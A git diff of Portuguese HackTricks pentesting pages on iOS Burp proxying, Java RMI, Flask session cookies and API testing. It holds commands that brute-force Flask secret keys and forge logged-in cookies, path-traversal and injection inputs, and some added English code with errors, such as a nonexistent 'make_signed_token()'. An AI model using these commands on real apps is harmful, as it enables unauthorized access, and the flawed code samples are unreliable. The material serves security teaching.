<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,12 +15,12 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Instalação do Certificado Burp em iOS físico
|
||||
## Instalação do Certificado Burp em um iOS físico
|
||||
|
||||
Você pode instalar o [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **para ajudar na instalação do Certificado Burp, configurar o proxy e realizar SSL Pinning.**\
|
||||
Ou você pode seguir manualmente os próximos passos:
|
||||
|
@ -32,7 +32,7 @@ Ou você pode seguir manualmente os próximos passos:
|
|||
|
||||
### Configurando um Proxy de Interceptação via localhost
|
||||
|
||||
Configurar o Burp para interceptar seu tráfego é bastante simples. Supomos que tanto o seu dispositivo iOS quanto o computador host estejam conectados a uma rede Wi-Fi que permita tráfego de cliente para cliente. Se o tráfego de cliente para cliente não for permitido, você pode usar o usbmuxd para conectar-se ao Burp via USB.
|
||||
Configurar o Burp para interceptar seu tráfego é bastante simples. Supomos que tanto o seu dispositivo iOS quanto o computador host estejam conectados a uma rede Wi-Fi que permita o tráfego de cliente para cliente. Se o tráfego de cliente para cliente não for permitido, você pode usar o usbmuxd para conectar-se ao Burp via USB.
|
||||
|
||||
A PortSwigger fornece um bom [tutorial sobre como configurar um dispositivo iOS para funcionar com o Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) e um [tutorial sobre como instalar o certificado CA do Burp em um dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
|
@ -45,7 +45,7 @@ Primeiro, precisamos usar o **iproxy** para tornar o SSH do iOS disponível em l
|
|||
$ iproxy 2222 22
|
||||
waiting for connection
|
||||
```
|
||||
O próximo passo é fazer um encaminhamento remoto de porta 8080 no dispositivo iOS para a interface localhost em nosso computador para a porta 8080.
|
||||
O próximo passo é fazer um encaminhamento remoto de porta da porta 8080 no dispositivo iOS para a interface localhost em nosso computador para a porta 8080.
|
||||
```bash
|
||||
ssh -R 8080:localhost:8080 root@localhost -p 2222
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ Agora você deve conseguir acessar o Burp em seu dispositivo iOS. Abra o Safari
|
|||
O último passo seria configurar o proxy globalmente em seu dispositivo iOS:
|
||||
|
||||
1. Vá para **Configurações** -> **Wi-Fi**
|
||||
2. Conecte-se a _qualquer_ Wi-Fi (você pode literalmente se conectar a qualquer Wi-Fi, pois o tráfego das portas 80 e 443 será roteado através do USB, já que estamos apenas usando a configuração de proxy para a Wi-Fi para que possamos definir um proxy global)
|
||||
2. Conecte-se a _qualquer_ Wi-Fi (você pode literalmente se conectar a qualquer Wi-Fi, pois o tráfego das portas 80 e 443 será roteado através da USB, já que estamos apenas usando a configuração de proxy para a Wi-Fi para que possamos definir um proxy global)
|
||||
3. Uma vez conectado, clique no pequeno ícone azul no lado direito da Wi-Fi conectada
|
||||
4. Configure seu proxy selecionando **Manual**
|
||||
5. Digite 127.0.0.1 como **Servidor**
|
||||
|
@ -115,7 +115,7 @@ Passos para configurar o Burp como proxy:
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -128,6 +128,6 @@ Acesse hoje mesmo:
|
|||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -15,14 +15,14 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
_O Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo de _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicativos distribuídos usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ do ponto de vista ofensivo pode ser encontrada nesta [palestra da blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
_O Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo de _RPC_ orientado a objetos que permite que um objeto localizado em uma _Java virtual machine_ chame métodos em um objeto localizado em outra _Java virtual machine_. Isso permite que os desenvolvedores escrevam aplicativos distribuídos usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ do ponto de vista ofensivo pode ser encontrada nesta [palestra da blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
|
||||
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
|
@ -310,8 +310,8 @@ Command: rmg enum {IP} {PORT}
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -319,10 +319,10 @@ Acesse hoje:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -23,7 +23,7 @@ Obtenha acesso hoje:
|
|||
|
||||
## Cookies
|
||||
|
||||
O nome padrão da sessão de cookie é **`session`**.
|
||||
O nome padrão da sessão do cookie é **`session`**.
|
||||
|
||||
### Decodificador
|
||||
|
||||
|
@ -31,7 +31,7 @@ Decodificador de cookies Flask online: [https://www.kirsle.net/wizards/flask-ses
|
|||
|
||||
#### Manual
|
||||
|
||||
Obtenha a primeira parte do cookie até o primeiro ponto e decodifique em Base64.
|
||||
Obtenha a primeira parte do cookie até o primeiro ponto e decodifique em Base64>
|
||||
```bash
|
||||
echo "ImhlbGxvIg" | base64 -d
|
||||
```
|
||||
|
@ -39,13 +39,41 @@ O cookie também é assinado usando uma senha
|
|||
|
||||
### **Flask-Unsign**
|
||||
|
||||
Ferramenta de linha de comando para buscar, decodificar, forçar bruta e criar cookies de sessão de uma aplicação Flask adivinhando chaves secretas.
|
||||
Ferramenta de linha de comando para buscar, decodificar, forçar bruta e criar cookies de sessão de uma aplicação Flask ao adivinhar chaves secretas.
|
||||
|
||||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||||
```bash
|
||||
pip3 install flask-unsign
|
||||
```
|
||||
#### **Decodificar Cookie**
|
||||
|
||||
A cookie is a small piece of data that is stored on the client-side and is used to store information about the user. Cookies are often used in web applications to maintain user sessions and personalize the user experience.
|
||||
|
||||
When performing a web application penetration test, it is important to understand how cookies are being used and if they are properly secured. One way to do this is by decoding the cookie to see its contents.
|
||||
|
||||
To decode a cookie, you can use various tools and techniques. One common method is to use a browser extension or developer tools to view the cookie's value in plain text. Another option is to use a programming language like Python to decode the cookie programmatically.
|
||||
|
||||
Here is an example of how you can decode a cookie using Python:
|
||||
|
||||
```python
|
||||
import base64
|
||||
|
||||
def decode_cookie(cookie):
|
||||
decoded_cookie = base64.b64decode(cookie)
|
||||
return decoded_cookie.decode('utf-8')
|
||||
|
||||
cookie = 'SGVsbG8gV29ybGQh'
|
||||
decoded_cookie = decode_cookie(cookie)
|
||||
print(decoded_cookie)
|
||||
```
|
||||
|
||||
In this example, the `base64` module is used to decode the cookie. The `decode_cookie` function takes a cookie as input, decodes it using `base64.b64decode`, and returns the decoded cookie as a string.
|
||||
|
||||
By decoding the cookie, you can see its contents and understand what information is being stored. This can be useful for identifying potential security vulnerabilities, such as sensitive data being stored in cookies without proper encryption or protection.
|
||||
|
||||
It is important to note that decoding a cookie does not modify its value or affect the web application in any way. It is simply a way to view the contents of the cookie for analysis purposes.
|
||||
|
||||
Remember to always obtain proper authorization before performing any penetration testing activities.
|
||||
```bash
|
||||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||||
```
|
||||
|
@ -54,29 +82,107 @@ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODu
|
|||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||||
```
|
||||
#### **Assinatura**
|
||||
|
||||
A assinatura é um mecanismo de autenticação usado para verificar a integridade e a autenticidade dos dados transmitidos. No contexto da segurança da web, a assinatura é frequentemente usada para proteger as sessões de usuário e evitar a falsificação de solicitações entre sites (CSRF).
|
||||
|
||||
A assinatura é geralmente realizada usando uma chave secreta compartilhada entre o servidor e o cliente. O servidor gera uma assinatura para os dados usando a chave secreta e envia a assinatura junto com os dados para o cliente. O cliente, em seguida, verifica a assinatura usando a mesma chave secreta e compara-a com a assinatura recebida. Se as assinaturas coincidirem, isso indica que os dados não foram alterados e que a fonte é autêntica.
|
||||
|
||||
O Flask, um popular framework da web em Python, fornece suporte embutido para assinaturas. Ele usa a biblioteca Werkzeug para gerar e verificar assinaturas. O Flask usa uma chave secreta configurada no aplicativo para realizar a assinatura.
|
||||
|
||||
Para gerar uma assinatura em Flask, você pode usar a função `make_signed_token()` do objeto `itsdangerous.URLSafeTimedSerializer`. Esta função recebe uma carga útil (payload) e retorna uma string que contém a carga útil assinada.
|
||||
|
||||
```python
|
||||
from itsdangerous import URLSafeTimedSerializer
|
||||
from flask import Flask
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['SECRET_KEY'] = 'sua_chave_secreta_aqui'
|
||||
|
||||
@app.route('/')
|
||||
def index():
|
||||
s = URLSafeTimedSerializer(app.config['SECRET_KEY'])
|
||||
payload = {'user_id': 123}
|
||||
signed_token = s.dumps(payload)
|
||||
return signed_token
|
||||
```
|
||||
|
||||
Para verificar uma assinatura em Flask, você pode usar a função `loads()` do objeto `URLSafeTimedSerializer`. Esta função recebe a string assinada e retorna a carga útil original se a assinatura for válida.
|
||||
|
||||
```python
|
||||
from itsdangerous import URLSafeTimedSerializer
|
||||
from flask import Flask
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['SECRET_KEY'] = 'sua_chave_secreta_aqui'
|
||||
|
||||
@app.route('/verify/<signed_token>')
|
||||
def verify(signed_token):
|
||||
s = URLSafeTimedSerializer(app.config['SECRET_KEY'])
|
||||
payload = s.loads(signed_token)
|
||||
return f"Payload: {payload}"
|
||||
```
|
||||
|
||||
Ao usar assinaturas em Flask, é importante manter a chave secreta segura e não compartilhá-la com terceiros. A chave secreta é usada para gerar e verificar assinaturas, e qualquer pessoa que tenha acesso a ela pode falsificar assinaturas e comprometer a segurança do aplicativo.
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||||
```
|
||||
#### Assinando usando versões antigas (legado)
|
||||
|
||||
When using Flask, it is important to be aware of the potential security risks associated with using legacy (old) versions of the framework. Older versions of Flask may have vulnerabilities that can be exploited by attackers. Therefore, it is recommended to always use the latest stable version of Flask to ensure the best security practices.
|
||||
|
||||
To sign data using legacy versions of Flask, you can follow these steps:
|
||||
|
||||
1. Import the necessary modules:
|
||||
```python
|
||||
from flask import Flask
|
||||
from itsdangerous import Signer
|
||||
```
|
||||
|
||||
2. Create an instance of the Flask application:
|
||||
```python
|
||||
app = Flask(__name__)
|
||||
```
|
||||
|
||||
3. Generate a secret key for signing the data:
|
||||
```python
|
||||
app.secret_key = 'your_secret_key'
|
||||
```
|
||||
|
||||
4. Create a signer object using the secret key:
|
||||
```python
|
||||
signer = Signer(app.secret_key)
|
||||
```
|
||||
|
||||
5. Sign the data using the signer object:
|
||||
```python
|
||||
signed_data = signer.sign('your_data')
|
||||
```
|
||||
|
||||
6. Verify the signature:
|
||||
```python
|
||||
is_valid = signer.verify(signed_data)
|
||||
```
|
||||
|
||||
By following these steps, you can sign data using legacy versions of Flask. However, it is strongly recommended to upgrade to the latest version of Flask to ensure the best security practices and protect against potential vulnerabilities.
|
||||
```bash
|
||||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
### **RIPsession**
|
||||
|
||||
Ferramenta de linha de comando para forçar sites usando cookies criados com flask-unsign.
|
||||
Ferramenta de linha de comando para realizar brute-force em sites usando cookies criados com flask-unsign.
|
||||
|
||||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||||
```bash
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||||
```
|
||||
### SQLi em cookie de sessão Flask com SQLmap
|
||||
|
||||
[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) usa a opção `eval` do sqlmap para **automaticamente assinar payloads do sqlmap** para Flask usando um segredo conhecido.
|
||||
[**Este exemplo**](../../pentesting-web/sql-injection/sqlmap/#eval) usa a opção `eval` do sqlmap para **automaticamente assinar payloads do sqlmap** para o Flask usando um segredo conhecido.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use o [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -84,7 +190,7 @@ Obtenha acesso hoje:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -86,7 +86,7 @@ Tente usar os seguintes símbolos como curingas: **\***, **%**, **\_**, **.**
|
|||
|
||||
### Alteração do método de requisição HTTP
|
||||
|
||||
Você pode tentar usar os métodos HTTP: **GET, POST, PUT, DELETE, PATCH, INVENTED** para verificar se o servidor web retorna informações inesperadas com eles.
|
||||
Você pode tentar usar os métodos HTTP: **GET, POST, PUT, DELETE, PATCH, INVENTED** para verificar se o servidor web fornece informações inesperadas com eles.
|
||||
|
||||
### Tipo de conteúdo da requisição
|
||||
|
||||
|
@ -116,11 +116,11 @@ Se você enviar dados POST regulares, tente enviar arrays e dicionários:
|
|||
* username\[]=John
|
||||
* username\[$neq]=lalala
|
||||
|
||||
### Brincar com rotas
|
||||
### Brinque com as rotas
|
||||
|
||||
`/files/..%2f..%2f + ID da vítima + %2f + nome do arquivo da vítima`
|
||||
|
||||
### Verificar possíveis versões
|
||||
### Verifique possíveis versões
|
||||
|
||||
Versões antigas ainda podem estar em uso e ser mais vulneráveis do que os endpoints mais recentes
|
||||
|
||||
|
@ -129,18 +129,18 @@ Versões antigas ainda podem estar em uso e ser mais vulneráveis do que os endp
|
|||
* `/api/CharityEventFeb2020/user/pp/<ID>`
|
||||
* `/api/CharityEventFeb2021/user/pp/<ID>`
|
||||
|
||||
### Verificar possíveis versões (abordagem automatizada)
|
||||
### Verifique possíveis versões (abordagem automatizada)
|
||||
|
||||
Extensão AutoRepeater Burp: Adicione uma regra de substituição
|
||||
|
||||
* `Tipo: String de Requisição`
|
||||
* `Correspondência: v2 (versão mais alta)`
|
||||
* `Substituir por: v1 (versão mais baixa)`
|
||||
